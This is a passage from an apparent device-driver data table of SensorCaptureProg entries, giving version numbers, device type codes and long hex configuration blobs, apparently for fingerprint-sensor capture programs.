SensorCaptureProg(major=0x6, minor=0x14, build=0x0, u1=0x0, dev_type=0x8f3, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032006000000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20700070207000742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002a0030000330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c64200050630c642000606c0c64200070620c642000806b0c64200090610c642000a06a0c642000b0600c642000c0690c642000d05f0c642000e05e0c642000f04f0c642000005d0c642000104e0c642000205c0c642000304d0c642000405b0c642000504c0c642000605a0c642000704b0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d10c642000d02b0c642000e0d20c642000f02a0c64200000d30c64200010290c64200020d60c64200030280c64200040d70c642000501d0c64200060d80c642000701c0c64200080d90c642000901b0c642000a0da0c642000b01a0c642000c0de0c642000d0190c642000e0df0c642000f0150c64200000e00c64200010140c64200020e10c64200030130c64200040e20c64200050120c64200060e40c64200070110c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', '32000c000000008068110100641126003400180200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a12010000061e102d0101000007c8078c060b5d00005e00004f80005080006d030059940b070100002403089808a9089908a8089a08a7089b08a6089c08a4089d08a3089e08a2089f08a1c0102c03088808b9088908b8088a08b7088b08b3089208b2089308b1089408b0089508afc01003087108c6087208c5087d08c2087e08c1087f08c0088008bf088108bb088708bac0100628070103084f085e085f08690860086a0861086b0862086c086308c9086f08c8087008c7c010030847082e0848082f08490830084a0831084b085a084c085b084d085c084e085dc01003082a08d2082b08d1082c08ce083808cd083908cc083a08cb083b08ca0846082dc0100632070103081508df081908de081a08da081b08d9081c08d8081d08d7082808d6082908d3c01059940b03080a08e8080b08e7080c08e6080d08e5081108e4081208e2081308e1081408e0c0102403080008f1080108f0080208ef080308ee080408ed080508ec080608eb080708eac0100c0720070c2003040200004200080002089000000000002f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x14, build=0x0, u1=0x0, dev_type=0x8f6, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20500070205000742000007820000084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c64200050630c642000606c0c64200070620c642000806b0c64200090610c642000a06a0c642000b0600c642000c0690c642000d05f0c642000e05e0c642000f04f0c642000005d0c642000104e0c642000205c0c642000304d0c642000405b0c642000504c0c642000605a0c642000704b0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d00c642000d02b0c642000e0d10c642000f02a0c64200000d20c64200010290c64200020d30c64200030280c64200040d60c642000501c0c64200060d70c642000701b0c64200080d80c642000901a0c642000a0d90c642000b0190c642000c0da0c642000d0150c642000e0df0c642000f0140c64200000e00c64200010130c64200020e10c64200030120c64200040e20c64200050110c64200060e40c642000700e0c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', '32000c0000000080681101006411260034001c0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a12010000061e102d0101000007c8078c060b5d00005e00004f80005080006d030059940b070100000720240308a1089f08a2089e08a3089d08a4089c08a6089b08a7089a08a8089908a90898c0102c0308af089508b0089408b1089308b2089208b3088b08b7088a08b8088908b90888c0100308ba088708bb088108bf088008c0087f08c1087e08c2087d08c5087208c60871c010062807010308c7087008c8086f08c90863086c0862086b0861086a08600869085f085e084fc01003085d084e085c084d085b084c085a084b0831084a08300849082f0848082e0847c01003082d084608ca083b08cb083a08cc083908cd083808ce082c08d0082b08d1082ac010063207010308d2082908d3082808d6081c08d7081b08d8081a08d9081908da081508df0814c0100308e0081308e1081208e2081108e4080e08e5080d08e6080c08e7080b08e8080ac010240308ea080708eb080608ec080508ed080408ee080308ef080208f0080108f10800c010070320030c07030703072004020000004200080002089000000000002f00040038000000', '2f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x14, build=0x0, u1=0x0, dev_type=0x121, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20720070207200742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c642000506d0c642000607a0c642000706c0c64200080790c642000906b0c642000a0780c642000b06a0c642000c06e0c642000d0690c642000e0630c642000f05e0c64200000620c642000105d0c64200020610c642000305c0c64200040600c642000505b0c642000605f0c642000705a0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d00c642000d02b0c642000e0d10c642000f02a0c64200000d20c64200010290c64200020d30c64200030280c64200040d60c642000501c0c64200060d70c642000701b0c64200080d80c642000901a0c642000a0d90c642000b0190c642000c0da0c642000d0150c642000e0df0c642000f0140c64200000e00c64200010130c64200020e10c64200030120c64200040e20c64200050110c64200060e40c642000700e0c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', '32000c000000008068110100641126003400180200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a120100000620102d0101000007c8078c060b5d00005e00004f80005080006d030059940b07010000240308a1089f08a2089e08a3089d08a4089c08a6089b08a7089a08a8089908a90898c0102c0308af089508b0089408b1089308b2089208b3088b08b7088a08b8088908b90888c0100308ba088708bb088108bf088008c0087f08c1087e08c2087d08c5087208c60871c010062807010308c7087008c8086f08c9086d087a086c0879086b0878086a086e08690863085ec010030862085d0861085c0860085b085f085a0831084a08300849082f0848082e0847c01003082d084608ca083b08cb083a08cc083908cd083808ce082c08d0082b08d1082ac010063007010308d2082908d3082808d6081c08d7081b08d8081a08d9081908da081508df0814c01059940b0308e0081308e1081208e2081108e4080e08e5080d08e6080c08e7080b08e8080ac010240308ea080708eb080608ec080508ed080408ee080308ef080208f0080108f10800c0100c0720070c2003040200004200080002089000000000002f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x15, build=0x0, u1=0x0, dev_type=0x121, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20720070207200742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c642000506d0c642000607a0c642000706c0c64200080790c642000906b0c642000a0780c642000b06a0c642000c06e0c642000d0690c642000e0630c642000f05e0c64200000620c642000105d0c64200020610c642000305c0c64200040600c642000505b0c642000605f0c642000705a0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d00c642000d02b0c642000e0d10c642000f02a0c64200000d20c64200010290c64200020d30c64200030280c64200040d60c642000501c0c64200060d70c642000701b0c64200080d80c642000901a0c642000a0d90c642000b0190c642000c0da0c642000d0150c642000e0df0c642000f0140c64200000e00c64200010130c64200020e10c64200030120c64200040e20c64200050110c64200060e40c642000700e0c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', '32000c000000008068110100641126003400180200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a120100000620102d0101000007c8078c060b5d00005e00004f80005080006d030059940b07010000240308a1089f08a2089e08a3089d08a4089c08a6089b08a7089a08a8089908a90898c0102c0308af089508b0089408b1089308b2089208b3088b08b7088a08b8088908b90888c0100308ba088708bb088108bf088008c0087f08c1087e08c2087d08c5087208c60871c010062807010308c7087008c8086f08c9086d087a086c0879086b0878086a086e08690863085ec010030862085d0861085c0860085b085f085a0831084a08300849082f0848082e0847c01003082d084608ca083b08cb083a08cc083908cd083808ce082c08d0082b08d1082ac010063007010308d2082908d3082808d6081c08d7081b08d8081a08d9081908da081508df0814c01059940b0308e0081308e1081208e2081108e4080e08e5080d08e6080c08e7080b08e8080ac010240308ea080708eb080608ec080508ed080408ee080308ef080208f0080108f10800c0100c0720070c2003040200004200080002089000000000002f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x14, build=0x0, u1=0x0, dev_type=0xb4b, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20660070206600742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c642000506d0c642000607a0c642000706c0c64200080790c642000906b0c642000a0780c642000b06a0c642000c06e0c642000d0690c642000e0630c642000f05e0c64200000620c642000105d0c64200020610c642000305c0c64200040600c642000505b0c642000605f0c642000705a0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d00c642000d02b0c642000e0d10c642000f02a0c64200000d20c64200010290c64200020d30c64200030280c64200040d60c642000501c0c64200060d70c642000701b0c64200080d80c642000901a0c642000a0d90c642000b0190c642000c0da0c642000d0150c642000e0df0c642000f0140c64200000e00c64200010130c64200020e10c64200030120c64200040e20c64200050110c64200060e40c642000700e0c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', '32000c000000008068110100641126003400180200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a12010000061e102d0101000007c8078c060b5d00005e00004f80005080006d030059940b07010000240308a1089f08a2089e08a3089d08a4089c08a6089b08a7089a08a8089908a90898c0102c0308af089508b0089408b1089308b2089208b3088b08b7088a08b8088908b90888c0100308ba088708bb088108bf088008c0087f08c1087e08c2087d08c5087208c60871c010062807010308c7087008c8086f08c9086d087a086c0879086b0878086a086e08690863085ec010030862085d0861085c0860085b085f085a0831084a08300849082f0848082e0847c01003082d084608ca083b08cb083a08cc083908cd083808ce082c08d0082b08d1082ac010063207010308d2082908d3082808d6081c08d7081b08d8081a08d9081908da081508df0814c01059940b0308e0081308e1081208e2081108e4080e08e5080d08e6080c08e7080b08e8080ac010240308ea080708eb080608ec080508ed080408ee080308ef080208f0080108f10800c0100c0720070c2003040200004200080002089000000000002f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x15, build=0x0, u1=0x0, dev_type=0xb4b, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20660070206600742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c642000506d0c642000607a0c642000706c0c64200080790c642000906b0c642000a0780c642000b06a0c642000c06e0c642000d0690c642000e0630c642000f05e0c64200000620c642000105d0c64200020610c642000305c0c64200040600c642000505b0c642000605f0c642000705a0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d00c642000d02b0c642000e0d10c642000f02a0c64200000d20c64200010290c64200020d30c64200030280c64200040d60c642000501c0c64200060d70c642000701b0c64200080d80c642000901a0c642000a0d90c642000b0190c642000c0da0c642000d0150c642000e0df0c642000f0140c64200000e00c64200010130c64200020e10c64200030120c64200040e20c64200050110c64200060e40c642000700e0c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', '32000c000000008068110100641126003400180200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a12010000061e102d0101000007c8078c060b5d00005e00004f80005080006d030059940b07010000240308a1089f08a2089e08a3089d08a4089c08a6089b08a7089a08a8089908a90898c0102c0308af089508b0089408b1089308b2089208b3088b08b7088a08b8088908b90888c0100308ba088708bb088108bf088008c0087f08c1087e08c2087d08c5087208c60871c010062807010308c7087008c8086f08c9086d087a086c0879086b0878086a086e08690863085ec010030862085d0861085c0860085b085f085a0831084a08300849082f0848082e0847c01003082d084608ca083b08cb083a08cc083908cd083808ce082c08d0082b08d1082ac010063207010308d2082908d3082808d6081c08d7081b08d8081a08d9081908da081508df0814c01059940b0308e0081308e1081208e2081108e4080e08e5080d08e6080c08e7080b08e8080ac010240308ea080708eb080608ec080508ed080408ee080308ef080208f0080108f10800c0100c0720070c2003040200004200080002089000000000002f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x14, build=0x0, u1=0x0, dev_type=0xb4b, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050201f015c200000602000004c2003006c20720070207200742004007820040084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c642000506d0c642000607a0c642000706c0c64200080790c642000906b0c642000a0780c642000b06a0c642000c06e0c642000d0690c642000e0630c642000f05e0c64200000620c642000105d0c64200020610c642000305c0c64200040600c642000505b0c642000605f0c642000705a0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d00c642000d02b0c642000e0d10c642000f02a0c64200000d20c64200010290c64200020d30c64200030280c64200040d60c642000501c0c64200060d70c642000701b0c64200080d80c642000901a0c642000a0d90c642000b0190c642000c0da0c642000d0150c642000e0df0c642000f0140c64200000e00c64200010130c64200020e10c64200030120c64200040e20c64200050110c64200060e40c642000700e0c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', '32000c000000008068110100641126003400180200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a12010000061e102d0101000007c8078c060b5d03005e03004f80005080006d030059940b07010000240308a1089f08a2089e08a3089d08a4089c08a6089b08a7089a08a8089908a90898c0102c0308af089508b0089408b1089308b2089208b3088b08b7088a08b8088908b90888c0100308ba088708bb088108bf088008c0087f08c1087e08c2087d08c5087208c60871c010062807010308c7087008c8086f08c9086d087a086c0879086b0878086a086e08690863085ec010030862085d0861085c0860085b085f085a0831084a08300849082f0848082e0847c01003082d084608ca083b08cb083a08cc083908cd083808ce082c08d0082b08d1082ac010063207010308d2082908d3082808d6081c08d7081b08d8081a08d9081908da081508df0814c01059940b0308e0081308e1081208e2081108e4080e08e5080d08e6080c08e7080b08e8080ac010240308ea080708eb080608ec080508ed080408ee080308ef080208f0080108f10800c0100c0720070c2003040200004200080002089000000000002f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x15, build=0x0, u1=0x0, dev_type=0xb4b, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050201f015c200000602000004c2003006c20720070207200742004007820040084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c642000506d0c642000607a0c642000706c0c64200080790c642000906b0c642000a0780c642000b06a0c642000c06e0c642000d0690c642000e0630c642000f05e0c64200000620c642000105d0c64200020610c642000305c0c64200040600c642000505b0c642000605f0c642000705a0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d00c642000d02b0c642000e0d10c642000f02a0c64200000d20c64200010290c64200020d30c64200030280c64200040d60c642000501c0c64200060d70c642000701b0c64200080d80c642000901a0c642000a0d90c642000b0190c642000c0da0c642000d0150c642000e0df0c642000f0140c64200000e00c64200010130c64200020e10c64200030120c64200040e20c64200050110c64200060e40c642000700e0c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', '32000c000000008068110100641126003400180200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a12010000061e102d0101000007c8078c060b5d03005e03004f80005080006d030059940b07010000240308a1089f08a2089e08a3089d08a4089c08a6089b08a7089a08a8089908a90898c0102c0308af089508b0089408b1089308b2089208b3088b08b7088a08b8088908b90888c0100308ba088708bb088108bf088008c0087f08c1087e08c2087d08c5087208c60871c010062807010308c7087008c8086f08c9086d087a086c0879086b0878086a086e08690863085ec010030862085d0861085c0860085b085f085a0831084a08300849082f0848082e0847c01003082d084608ca083b08cb083a08cc083908cd083808ce082c08d0082b08d1082ac010063207010308d2082908d3082808d6081c08d7081b08d8081a08d9081908da081508df0814c01059940b0308e0081308e1081208e2081108e4080e08e5080d08e6080c08e7080b08e8080ac010240308ea080708eb080608ec080508ed080408ee080308ef080208f0080108f10800c0100c0720070c2003040200004200080002089000000000002f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x14, build=0x0, u1=0x0, dev_type=0xb4d, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20600070206000742002007820020084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c642000506d0c642000607a0c642000706c0c64200080790c642000906b0c642000a0780c642000b06a0c642000c06e0c642000d0690c642000e0630c642000f05e0c64200000620c642000105d0c64200020610c642000305c0c64200040600c642000505b0c642000605f0c642000705a0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d00c642000d02b0c642000e0d10c642000f02a0c64200000d20c64200010290c64200020d30c64200030280c64200040d60c642000501c0c64200060d70c642000701b0c64200080d80c642000901a0c642000a0d90c642000b0190c642000c0da0c642000d0150c642000e0df0c642000f0140c64200000e00c64200010130c64200020e10c64200030120c64200040e20c64200050110c64200060e40c642000700e0c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', 